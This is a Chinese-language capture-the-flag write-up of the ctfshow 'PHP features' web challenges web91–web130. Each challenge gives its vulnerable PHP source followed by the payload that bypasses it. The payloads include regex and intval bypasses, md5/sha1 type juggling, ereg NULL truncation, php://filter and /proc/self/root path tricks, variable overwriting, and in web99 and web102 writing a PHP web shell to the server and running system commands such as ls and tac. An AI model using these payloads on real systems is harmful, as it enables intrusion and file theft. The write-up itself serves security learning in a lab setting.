WEB —- ctfshow —- PHP特性

  • Post author:
  • Post category:php




web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 


preg_match

函数是正则表达式,参数

i

是不区分大小写,

m

是多行进行匹配


^

是从字符串开头进行匹配,

$

是从字符串末尾进行匹配。


preg_match('/^php$/im',$a)

的含义是,判断变量a中是否有字符串

php

,进行多行匹配,不区分大小写。


preg_match('/^php$/i',$a)

的含义是,单号匹配变量a中是否有字符串

php

所以使用换行进行绕过,

cmd=%0aphp



web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

使用了

intval

函数 获取变量的整数值,

intval($value,base)

的含义解释:根据第二个参数进行数值获取,即转化所使用的进制。


如果 base 是 0,通过检测 value 的格式来决定使用的进制:

如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,

如果字符串以 “0” 开始,使用 8 进制(octal);否则,

将使用 10 进制 (decimal)。

所以,

intval($num,0)==4476

简单的说就是对十进制的

4476

进行十六进制转换

0x117c

,或者八进制转换

010574

,或者二进制转换

0b1 0001 0111 1100


num=0x117c

或者

num=010574



web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

因为使用了

preg_match("/[a-z]/i", $num)

,含义是不能包括字母a-z,不分大小。

所以只能使用八进制进行转换。


num=010574



web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

遇到了

strpos

函数,进行解释一下


strpos

函数的作用 — 查找字符串首次出现的位置


strpos(string,find,start)

参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。


strpos("I love php, I love php too!","php")


输出结果为7


!strpos($num, "0")

的含义是避免

0

开头,若

0

开头,则返回结果为

0

,取反,结果为

1

。排除了结果

num=010574

再次查看

inval

函数

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
echo intval(false);                   // 0
echo intval(true);                    // 1
?>

使用小数进行绕过,

num=4476.0



web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

使用

preg_match("/[a-z]|\./i", $num)

,过滤了字母

a-z

不区分大小写,还过滤了小数点

.

于是采用正数进行绕过,

num=+010574



web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

} 



highlight_file

函数进行解释.


highlight_file()

函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。


highlight_file(filename,return)

参数 描述
filename 必需。规定要显示的文件。
return 可选。如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。默认是 FALSE。

本题含义是,输出

flag.php

的内容,所以可以也可以是输出当前目录下的

flag.php



结果为:

num=./flag.php



web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

传入两个参数,

a



b

,要求

a



b

的数值不同,但是经过

md5编码

后结果相同。

利用对象进行绕过,因为进行

md5编码

,只看对象,而不看对象的值

使用数组进行绕过,

a[]=1&b[]=2



web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);



三目运算符

进行解释


(expr1)?(expr2):(expr3);

//表达式1?表达式2:表达式3

解释:如果条件

“expr1”

成立,则执行语句

“expr2”

,否则执行

“expr3”


$_GET?$_GET=&$_POST:'flag';

的含义:是否有

GET传参

,若有则将

POST传参

的内容覆盖掉

GET传参

的内容,若没有

GET传参

,则

GET传参

的内容为

flag


$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__

的含义:

GET传参

的变量

HTTP_FLAG

的值是否是

flag

,若是则结果为

$flag

所以,意思为

GET传参

随便写(比如,flag=1),

POST传参



HTTP_FLAG=flag

,存在

POST传参



GET传参

替换掉原来的值,改为

POST传参

的值

GET传参,

flag=1


POST传参,

HTTP_FLAG=flag



web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}


$allow = array();

//设置为数组


array_push()

函数 向数组尾部插入一个或多个元素。


array_push(array,value1,value2...)

参数 描述
array 必需。规定一个数组。
value1 必需。规定要添加的值。
value2 可选。规定要添加的值。


array_push($allow, rand(1,$i));

//向数组里面插入随机数


in_array()

函数 搜索数组中是否存在指定的值。


bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。


in_array()

函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1


file_put_contents()

函数把一个字符串写入文件中。

详细信息查看下面链接


https://www.runoob.com/php/func-filesystem-file-put-contents.html

GET传参

?n=123.php


POST传参

content=<?php system($_GET['password']);?>


然后就是,

123.php/?password=system('ls');



123.php?password=system('nl flag36d.php');


然后查看源码,或者使用

cat



tac



web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 


is_numeric()

函数用于检测变量是否为数字或数字字符串。

更多信息查看下方链接


https://www.runoob.com/php/php-is_numeric-function.html

这里介绍一下

&&



and

逻辑运算符

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false
?>

很明显,v1只要是数字就行


var_dump()

函数用于输出变量的相关信息。

v2是

var_dump($ctfshow)

而v3为

;



v1=1&v2=var_dump($ctfshow)&v3;

或者是


v1=1&v2=system('ls')&v3=;



v1=1&v2=system('tac ctfshow.php')&v3=;



web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

这里用到了php反射类,

ReflectionClass 类报告了一个类的有关信息。

可以参考官方文档查看


https://www.php.net/manual/zh/class.reflectionclass.php

构造

v1=1&v2=echo new Reflectionclass&v3=;


并且注意得到的flag并不完整,缺少最后一位,可以进行爆破获取



web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


substr()

函数 返回字符串的一部分。


substr(string,start,length)



string

规定要返回其中一部分的字符串。


start

必需。规定在字符串的何处开始。


length

可选。规定要返回的字符串长度。默认是直到字符串的结尾。


call_user_func

— 把第一个参数作为回调函数调用,其余参数是回调函数的参数。


file_put_contents()

函数把一个字符串写入文件中


v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php



v1=hex2bin


然后访问

2.php

,查看源码


115044383959474e6864434171594473

其中的开头

11

其填充作用,然后使用16进制转换文本在线工具得到base64编码的字符串

PD89YGNhdCAqYDs


然后再base64解码得到 *

<?=`cat

`;


hex2bin()

函数把十六进制值的字符串转换为 ASCII 字符。



补充一个知识,and和or

关于or,and的使用,查资料得知:and相当于then,or相当于else

举例来理解这两个关键字的使用:

比如:


$b or $a=1000;

他与下面这段代码是等价的:


if($b==true){}else{ $a=1000;}


$b and $a=1;

等价于:


if($b==true){ $a=1; }


$a and $b=1 or $c=1

等价于:


if ($a){ $b=1; }else{ $c=1; }



web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
} 

和上题的payload一样,只是多了一个正则表达式



web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

额,使用了

sha1()

加密函数只要v1和v2的值相等就可得到flag



web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

对于

foreach

函数,

foreach

语法结构提供了遍历数组的简单方式。

foreach

仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement

第一种格式遍历给定的

iterable_expression

迭代器。每次循环中,当前单元的值被赋给

$value

第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量

$key



web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

本题和web104,是一样的,补充了web104的不足,添加了

$v1!=$v2


v1=aaK1STfY



v2=aaO8zKZF



web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}


parse_str()

函数把查询字符串解析到变量中。


parse_str(string,array)


string

必需。规定要解析的字符串。


array

可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

可以参考文档


https://www.runoob.com/php/func-string-parse-str.html



$v2['flag']

所得,

$v1

中必有

flag

,而且

flag

的值需要和

md5($v3)

的数值相等。

所以构造

v1=flag=0

,则需要

md5($v3)

的值也为0.

所以

v3=240610708



240610708



md5

编码后结果为

0e462097431906509019562988736854

,科学计数法,结果为0.



web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 


ereg()

函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回

true

,否则,则返回

false

。搜索字母的字符是大小写敏感的。

ereg

函数存在

NULL

截断漏洞,导致了正则过滤被绕过,所以可以使用

%00

截断正则匹配


strrev()

函数反转字符串。


intval()

函数遇到非数字字符就会停止识别,

877a

识别为

877

构造

c=a%00778



web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 

看到这里

echo new $v1($v2());

,想到

new Reflectionclass

反射

考点是Exception 异常处理类

这里通过异常处理类

Exception(system('cmd'))

可以运行指定代码,并且能返回运行的结果

构造

v1=Reflectionclass&v2=system('ls')



web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

构造

v1=FilesystemIterator&v2=getcwd

,知识有限,后续学习之后再解释



web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}


$GLOBALS

— 引用全局作用域中可用的全部变量

一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

由于

preg_match('/ctfshow/', $v1)

,所以

$v1

的值为

ctfshow



$v2

赋值为

GLOBALS

构造

v1=ctfshow&v2=GLOBALS



web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 


is_file()

函数检查指定的文件是否是常规的文件。

如果文件是常规的文件,该函数返回

TRUE

大致题意,

! is_file($file)

结果得为

ture

,不能识别出是文件

得用

php伪协议


php://filter/resource=flag.php

不带任何过滤器的filter


php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php



php://filter/read=convert.quoted-printable-encode/resource=flag.php

可打印字符引用编码


compress.zlib://flag.php

压缩流



web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

过滤了

filter

,构造

file=compress.zlib://flag.php

使用压缩流,也可以拿到

flag

查看了一下提示,使用了

/proc/self/root

,在

linux



/proc/self/root

是指向根目录的,也就是如果在命令行中输入

ls /proc/self/root

,其实显示的内容是根目录下的内容.


/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php



web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

没有过滤

flag



filter

,直接构造

file=php://filter/resource=flag.php



web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}


if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')


判断是数字不能是36,

trim()

删除一些字符,最后

filter()

过滤掉进制,浮点数,e,+,然后

if($num=='36')

得到

flag

,可以测试出一些字符。

进行爆破

测试is_numeric
<?php
for ($i=0; $i <128 ; $i++) { 
    $s=chr($i).'1';
   if(is_numeric($s)==true){
        echo urlencode(chr($i))."\n";
   }
}
?>
输出:%09%0A、 %0B、 %0C、 %0D、 +%2B、 -.(点)
测试trim
<?php
for ($i=0; $i <=128 ; $i++) { 
    $s=chr($i).'1';
   if(trim($s)!=='1' &&  is_numeric($s)){
        echo urlencode(chr($i))."\n";
   }
}
?>
输出:%0C、%2B(+号)、-.(点)、0123456789

除去被过滤的+ – . ,只剩下

%0c

,也就是换页符

\f

构造

num=%0c36



web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

过滤了输出语句,还有

flag

构造POST:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[pw])


GET:

pw=flag.php



web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

构造POST:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])


GET:

$fl0g=flag_give_me



web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

构造GET:

ctf show=ilove36d



web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}


function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}


mixed call_user_func(回调 函数名 [,混合 参数 [,混合$ ...]])


调用用户定义函数来确定函数参数。


_()

是一个函数


_()==gettext()



gettext()

的拓展函数,开启text扩展。需要php扩展目录下有

php_gettext.dll


get_defined_vars()

函数,

get_defined_vars

— 返回由所有已定义变量所组成的数组

关于

gettext

函数参考下面链接


https://www.cnblogs.com/lost-1987/articles/3309693.html

构造:

f1=_&f2=get_defined_vars



web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}


stripos()

函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。


stripos(string,find,start)



string

必需。规定被搜索的字符串。


find

必需。规定要查找的字符。


start

可选。规定开始搜索的位置。

构造:

f=/ctfshow/../../../../var/www/html/flag.php



web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

这个正则只有在ctfshow前面至少有一个字符才匹配到,所以f直接等于ctfshow就可以

构造:

f=ctfshow



版权声明:本文为ckk1314520原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。